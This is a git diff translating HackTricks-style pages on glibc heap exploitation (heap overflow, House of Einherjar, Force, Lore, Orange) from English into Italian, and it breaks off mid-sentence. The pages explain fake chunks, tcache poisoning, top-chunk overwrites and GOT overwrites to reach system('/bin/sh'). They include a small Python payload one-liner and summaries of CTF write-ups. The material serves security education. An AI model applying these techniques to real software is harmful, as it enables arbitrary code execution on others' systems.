dallo stack e potrebbe essere possibile abusarne. Nel caso degli heap overflow, **non ci sono informazioni sensibili memorizzate per impostazione predefinita** nel chunk dell'heap che può essere sovrascritto. Tuttavia, potrebbero esserci informazioni sensibili o puntatori, quindi la **criticità** di questa vulnerabilità **dipende** da **quali dati potrebbero essere sovrascritti** e da come un attaccante potrebbe abusarne. > [!TIP] -> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). +> Per trovare gli offset di overflow puoi usare gli stessi schemi degli [**stack overflow**](../stack-overflow/#finding-stack-overflows-offsets). ### Stack Overflows vs Heap Overflows -In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function. +Negli stack overflow l'organizzazione e i dati che saranno presenti nello stack al momento in cui la vulnerabilità può essere attivata sono abbastanza affidabili. Questo perché lo stack è lineare, sempre in aumento in memoria collidente, in **specifici punti dell'esecuzione del programma la memoria dello stack di solito memorizza un tipo simile di dati** e ha una struttura specifica con alcuni puntatori alla fine della parte dello stack utilizzata da ciascuna funzione. -However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. +Tuttavia, nel caso di un heap overflow, la memoria utilizzata non è lineare ma **i chunk allocati sono solitamente in posizioni separate della memoria** (non uno accanto all'altro) a causa di **bins e zone** che separano le allocazioni per dimensione e perché **la memoria precedentemente liberata viene utilizzata** prima di allocare nuovi chunk. È **complicato sapere quale oggetto andrà a collidere con quello vulnerabile** a un heap overflow. Quindi, quando viene trovato un heap overflow, è necessario trovare un **modo affidabile per fare in modo che l'oggetto desiderato sia il prossimo in memoria** rispetto a quello che può essere sovrascritto. -One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). +Una delle tecniche utilizzate per questo è **Heap Grooming** che viene utilizzata ad esempio [**in questo post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Nel post viene spiegato come quando nel kernel iOS una zona esaurisce la memoria per memorizzare chunk di memoria, essa si espande di una pagina del kernel, e questa pagina viene suddivisa in chunk delle dimensioni previste che verrebbero utilizzate in ordine (fino alla versione 9.2 di iOS, poi questi chunk vengono utilizzati in modo randomizzato per rendere più difficile l'exploitation di questi attacchi). -Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**. +Pertanto, nel post precedente in cui si verifica un heap overflow, per forzare l'oggetto sovrascritto a collidere con un oggetto vittima, diversi **`kalloc` vengono forzati da diversi thread per cercare di garantire che tutti i chunk liberi siano riempiti e che venga creata una nuova pagina**. -In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`. +Per forzare questo riempimento con oggetti di una dimensione specifica, l'**allocazione out-of-line associata a un mach port iOS** è un candidato ideale. Modificando la dimensione del messaggio, è possibile specificare esattamente la dimensione dell'allocazione `kalloc` e quando il corrispondente mach port viene distrutto, l'allocazione corrispondente verrà immediatamente rilasciata a `kfree`. -Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object. +Quindi, alcuni di questi segnaposto possono essere **liberati**. La **lista libera `kalloc.4096` rilascia elementi in ordine last-in-first-out**, il che significa fondamentalmente che se alcuni segnaposto vengono liberati e l'exploit cerca di allocare diversi oggetti vittima mentre cerca di allocare l'oggetto vulnerabile all'overflow, è probabile che questo oggetto sarà seguito da un oggetto vittima. -### Example libc +### Esempio libc -[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also. +[**In questa pagina**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) è possibile trovare un'emulazione di base di Heap overflow che mostra come sovrascrivere il bit prev in uso del chunk successivo e la posizione della dimensione prev è possibile **consolidare un chunk utilizzato** (facendolo pensare non utilizzato) e **poi allocarlo di nuovo** potendo sovrascrivere dati che vengono utilizzati in un puntatore diverso. -Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**. +Un altro esempio da [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra un esempio molto basilare di un CTF in cui un **heap overflow** può essere abusato per chiamare la funzione vincitrice per **ottenere la flag**. -In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to. +Nell'esempio [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) è possibile vedere come abusando di un buffer overflow è possibile **sovrascrivere in un chunk vicino un indirizzo** dove **dati arbitrari dell'utente** verranno scritti. -### Example ARM64 - -In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as: +### Esempio ARM64 +Nella pagina [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puoi trovare un esempio di heap overflow dove un comando che verrà eseguito è memorizzato nel chunk successivo al chunk sovrascritto. Quindi, è possibile modificare il comando eseguito sovrascrivendolo con un exploit semplice come: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` - -### Other examples +### Altri esempi - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - - We use an Integer Overflow vulnerability to get a Heap Overflow. - - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. +- Utilizziamo una vulnerabilità di Overflow di Interi per ottenere un Heap Overflow. +- Corrompiamo i puntatori a una funzione all'interno di un `struct` del chunk sovrascritto per impostare una funzione come `system` e ottenere l'esecuzione del codice. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md index 28c6fd437..516c43cc6 100644 --- a/src/binary-exploitation/libc-heap/house-of-einherjar.md +++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md @@ -2,48 +2,48 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -### Code +### Codice -- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) -- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache) +- Controlla l'esempio da [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) +- O quello da [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (potresti dover riempire il tcache) -### Goal +### Obiettivo -- The goal is to allocate memory in almost any specific address. +- L'obiettivo è allocare memoria in quasi qualsiasi indirizzo specifico. -### Requirements +### Requisiti -- Create a fake chunk when we want to allocate a chunk: - - Set pointers to point to itself to bypass sanity checks -- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag. -- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk - - The fake chunk size must also have been set the same size to bypass sanity checks -- For constructing these chunks, you will need a heap leak. +- Creare un chunk falso quando vogliamo allocare un chunk: +- Impostare i puntatori per puntare a se stessi per bypassare i controlli di integrità +- Overflow di un byte con un byte nullo da un chunk al successivo per modificare il flag `PREV_INUSE`. +- Indicare nel `prev_size` del chunk abusato off-by-null la differenza tra se stesso e il chunk falso +- La dimensione del chunk falso deve essere stata impostata alla stessa dimensione per bypassare i controlli di integrità +- Per costruire questi chunk, avrai bisogno di un heap leak. -### Attack +### Attacco -- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections -- 2 other chunks (`B` and `C`) are allocated -- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before - - This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks. -- Then, the tcache is filled -- Then, `C` is freed so it consolidates with the fake chunk `A` -- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk - - The house of Einherjar finishes here -- This can be continued with a fast bin attack or Tcache poisoning: - - Free `B` to add it to the fast bin / Tcache - - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) - - Then, 2 mallocs are done and the second one is going to be **allocating the target address** +- Un chunk `A` è creato all'interno di un chunk controllato dall'attaccante che punta con `fd` e `bk` al chunk originale per bypassare le protezioni +- Altri 2 chunk (`B` e `C`) sono allocati +- Abusando dell'off by one nel chunk `B`, il bit `prev in use` viene ripulito e i dati `prev_size` vengono sovrascritti con la differenza tra il luogo in cui il chunk `C` è allocato e il chunk falso `A` generato prima +- Questo `prev_size` e la dimensione nel chunk falso `A` devono essere gli stessi per bypassare i controlli. +- Poi, il tcache viene riempito +- Poi, `C` viene liberato in modo che si consolidi con il chunk falso `A` +- Poi, un nuovo chunk `D` viene creato che inizierà nel chunk falso `A` e coprirà il chunk `B` +- La casa di Einherjar finisce qui +- Questo può essere continuato con un attacco fast bin o avvelenamento del Tcache: +- Libera `B` per aggiungerlo al fast bin / Tcache +- `fd` di `B` viene sovrascritto facendolo puntare all'indirizzo target abusando del chunk `D` (poiché contiene `B` dentro) +- Poi, vengono eseguite 2 malloc e il secondo andrà a **allocare l'indirizzo target** -## References and other examples +## Riferimenti e altri esempi - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad) - - After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets. +- Dopo aver liberato i puntatori, non vengono annullati, quindi è ancora possibile accedere ai loro dati. Pertanto, un chunk viene posizionato nel bin non ordinato e vengono rivelati i puntatori che contiene (libc leak) e poi un nuovo heap viene posizionato nel bin non ordinato e viene rivelato un indirizzo heap dal puntatore che ottiene. - [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) - - Null-byte overflow bug in `strtok`. - - Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive. +- Bug di overflow di byte nullo in `strtok`. +- Usa House of Einherjar per ottenere una situazione di chunk sovrapposti e finire con l'avvelenamento del Tcache per ottenere una primitiva di scrittura arbitraria. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index 7d4fb9247..a51ccf46a 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -2,45 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -### Code +### Codice -- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size` - - You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want. +- Questa tecnica è stata corretta ([**qui**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) e produce questo errore: `malloc(): corrupted top size` +- Puoi provare il [**codice da qui**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) per testarlo se vuoi. -### Goal +### Obiettivo -- The goal of this attack is to be able to allocate a chunk in a specific address. +- L'obiettivo di questo attacco è essere in grado di allocare un chunk in un indirizzo specifico. -### Requirements +### Requisiti -- An overflow that allows to overwrite the size of the top chunk header (e.g. -1). -- Be able to control the size of the heap allocation +- Un overflow che consenta di sovrascrivere la dimensione dell'intestazione del top chunk (ad es. -1). +- Essere in grado di controllare la dimensione dell'allocazione della heap. -### Attack +### Attacco -If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space. - -Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated: +Se un attaccante vuole allocare un chunk nell'indirizzo P per sovrascrivere un valore qui. Inizia sovrascrivendo la dimensione del top chunk con `-1` (forse con un overflow). Questo assicura che malloc non utilizzerà mmap per alcuna allocazione poiché il Top chunk avrà sempre abbastanza spazio. +Poi, calcola la distanza tra l'indirizzo del top chunk e lo spazio target da allocare. Questo perché verrà eseguita una malloc con quella dimensione per spostare il top chunk in quella posizione. Questo è come la differenza/dimensione può essere facilmente calcolata: ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 /* - * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): - * new_top = old_top + nb - * nb = new_top - old_top - * req + 2sizeof(long) = new_top - old_top - * req = new_top - old_top - 2sizeof(long) - * req = target - 2sizeof(long) - old_top - 2sizeof(long) - * req = target - old_top - 4*sizeof(long) - */ +* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): +* new_top = old_top + nb +* nb = new_top - old_top +* req + 2sizeof(long) = new_top - old_top +* req = new_top - old_top - 2sizeof(long) +* req = target - 2sizeof(long) - old_top - 2sizeof(long) +* req = target - old_top - 4*sizeof(long) +*/ ``` +Pertanto, allocare una dimensione di `target - old_top - 4*sizeof(long)` (i 4 long sono dovuti ai metadati del top chunk e del nuovo chunk quando allocato) sposterà il top chunk all'indirizzo che vogliamo sovrascrivere.\ +Poi, eseguire un altro malloc per ottenere un chunk all'indirizzo target. -Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\ -Then, do another malloc to get a chunk at the target address. - -### References & Other Examples +### Riferimenti e Altri Esempi - [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/) @@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address. - [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c) - [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11) - - The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function - - The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff) - - Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc` - - Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function +- L'obiettivo di questo scenario è un ret2win dove dobbiamo modificare l'indirizzo di una funzione che verrà chiamata dall'indirizzo della funzione ret2win +- Il binario ha un overflow che può essere sfruttato per modificare la dimensione del top chunk, che viene modificata a -1 o p64(0xffffffffffffffff) +- Poi, viene calcolato l'indirizzo del luogo in cui esiste il puntatore da sovrascrivere, e la differenza dalla posizione attuale del top chunk a lì viene allocata con `malloc` +- Infine, viene allocato un nuovo chunk che conterrà questo target desiderato all'interno del quale viene sovrascritto dalla funzione ret2win - [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) - - In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap - - Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**. - - Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh` - - An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`. +- Nel `Input your name:` c'è una vulnerabilità iniziale che consente di rivelare un indirizzo dalla heap +- Poi nella funzionalità `Org:` e `Host:` è possibile riempire i 64B del puntatore `s` quando viene chiesto il **nome dell'organizzazione**, che nello stack è seguito dall'indirizzo di v2, che è poi seguito dal **nome host** indicato. Poiché strcpy copierà i contenuti di s in un chunk di dimensione 64B, è possibile **sovrascrivere la dimensione del top chunk** con i dati inseriti nel **nome host**. +- Ora che la scrittura arbitraria è possibile, il GOT di `atoi` è stato sovrascritto con l'indirizzo di printf. È stato quindi possibile rivelare l'indirizzo di `IO_2_1_stderr` _con_ `%24$p`. E con questa leak di libc è stato possibile sovrascrivere di nuovo il GOT di `atoi` con l'indirizzo di `system` e chiamarlo passando come parametro `/bin/sh` +- Un metodo alternativo [proposto in questo altro writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud) è sovrascrivere `free` con `puts`, e poi aggiungere l'indirizzo di `atoi@got`, nel puntatore che sarà poi liberato in modo che venga rivelato e con questa leak sovrascrivere di nuovo `atoi@got` con `system` e chiamarlo con `/bin/sh`. - [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) - - There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function. - - Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content. +- C'è un UAF che consente di riutilizzare un chunk che è stato liberato senza cancellare il puntatore. Poiché ci sono alcuni metodi di lettura, è possibile rivelare un indirizzo libc scrivendo un puntatore alla funzione free nel GOT qui e poi chiamando la funzione di lettura. +- Poi, House of force è stato utilizzato (sfruttando l'UAF) per sovrascrivere la dimensione dello spazio rimanente con un -1, allocare un chunk abbastanza grande per arrivare al free hook, e poi allocare un altro chunk che conterrà il free hook. Poi, scrivere nel hook l'indirizzo di `system`, scrivere in un chunk `"/bin/sh"` e infine liberare il chunk con quel contenuto di stringa. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md index 862ba7323..987aa34e1 100644 --- a/src/binary-exploitation/libc-heap/house-of-lore.md +++ b/src/binary-exploitation/libc-heap/house-of-lore.md @@ -1,44 +1,44 @@ -# House of Lore | Small bin Attack +# House of Lore | Attacco Small bin {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -### Code +### Codice -- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - - This isn't working -- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` -- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) +- Controlla quello di [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) +- Questo non funziona +- Oppure: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) +- Questo non funziona nemmeno se cerca di bypassare alcuni controlli ottenendo l'errore: `malloc(): unaligned tcache chunk detected` +- Questo esempio funziona ancora: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) -### Goal +### Obiettivo -- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\ - Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position. +- Inserire un **finto small chunk nel small bin in modo che sia possibile allocarlo**.\ +Nota che il small chunk aggiunto è quello falso creato dall'attaccante e non uno falso in una posizione arbitraria. -### Requirements +### Requisiti -- Create 2 fake chunks and link them together and with the legit chunk in the small bin: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` +- Creare 2 fake chunks e collegarli insieme e con il chunk legittimo nel small bin: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit` (devi modificare un puntatore nel chunk del small bin liberato tramite qualche altra vulnerabilità) +- `legit.bk` -> `fake0` -Then you will be able to allocate `fake0`. +Poi sarai in grado di allocare `fake0`. -### Attack +### Attacco -- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.** -- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` -- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins -- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it. +- Un small chunk (`legit`) viene allocato, poi un altro viene allocato per prevenire la consolidazione con il top chunk. Poi, `legit` viene liberato (spostandolo nella lista del bin non ordinato) e viene allocato un chunk più grande, **spostando `legit` nel small bin.** +- Un attaccante genera un paio di fake small chunks e fa il necessario collegamento per bypassare i controlli di sanità: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit` (devi modificare un puntatore nel chunk del small bin liberato tramite qualche altra vulnerabilità) +- `legit.bk` -> `fake0` +- Un small chunk viene allocato per ottenere legit, rendendo **`fake0`** nella lista principale dei small bins +- Un altro small chunk viene allocato, ottenendo `fake0` come chunk, permettendo potenzialmente di leggere/scrivere puntatori al suo interno. -## References +## Riferimenti - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore) diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md index e57f477c6..75e298fe5 100644 --- a/src/binary-exploitation/libc-heap/house-of-orange.md +++ b/src/binary-exploitation/libc-heap/house-of-orange.md @@ -2,72 +2,72 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -### Code +### Codice -- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) - - The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26) -- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) +- Trova un esempio in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) +- La tecnica di sfruttamento è stata corretta in questa [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) quindi questo non funziona più (funzionante in versioni precedenti a 2.26) +- Stesso esempio **con più commenti** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) -### Goal +### Obiettivo -- Abuse `malloc_printerr` function +- Abusare della funzione `malloc_printerr` -### Requirements +### Requisiti -- Overwrite the top chunk size -- Libc and heap leaks +- Sovrascrivere la dimensione del top chunk +- Libc e heap leaks -### Background +### Contesto -Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** +Alcuni background necessari dai commenti di [**questo esempio**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** -Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\ -This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\ -Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution +Il fatto è che, nelle versioni più vecchie di libc, quando veniva chiamata la funzione `malloc_printerr`, essa **iterava attraverso un elenco di strutture `_IO_FILE` memorizzate in `_IO_list_all`**, ed effettivamente **eseguiva** un puntatore di istruzione in quella struttura.\ +Questo attacco forgierà una **falsa struttura `_IO_FILE`** che scriveremo in **`_IO_list_all`**, e causerà l'esecuzione di `malloc_printerr`.\ +Poi **eseguirà qualsiasi indirizzo** abbiamo memorizzato nella tabella dei salti delle strutture **`_IO_FILE`**, e otterremo l'esecuzione di codice. -### Attack +### Attacco -The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set. +L'attacco inizia riuscendo a ottenere il **top chunk** all'interno del **unsorted bin**. Questo si ottiene chiamando `malloc` con una dimensione maggiore della dimensione attuale del top chunk ma inferiore a **`mmp_.mmap_threshold`** (il valore predefinito è 128K), il che altrimenti attiverebbe l'allocazione `mmap`. Ogni volta che la dimensione del top chunk viene modificata, è importante assicurarsi che **top chunk + la sua dimensione** sia allineato alla pagina e che il bit **prev_inuse** del top chunk sia sempre impostato. -To get the top chunk inside the unsorted bin, allocate a chunk to create 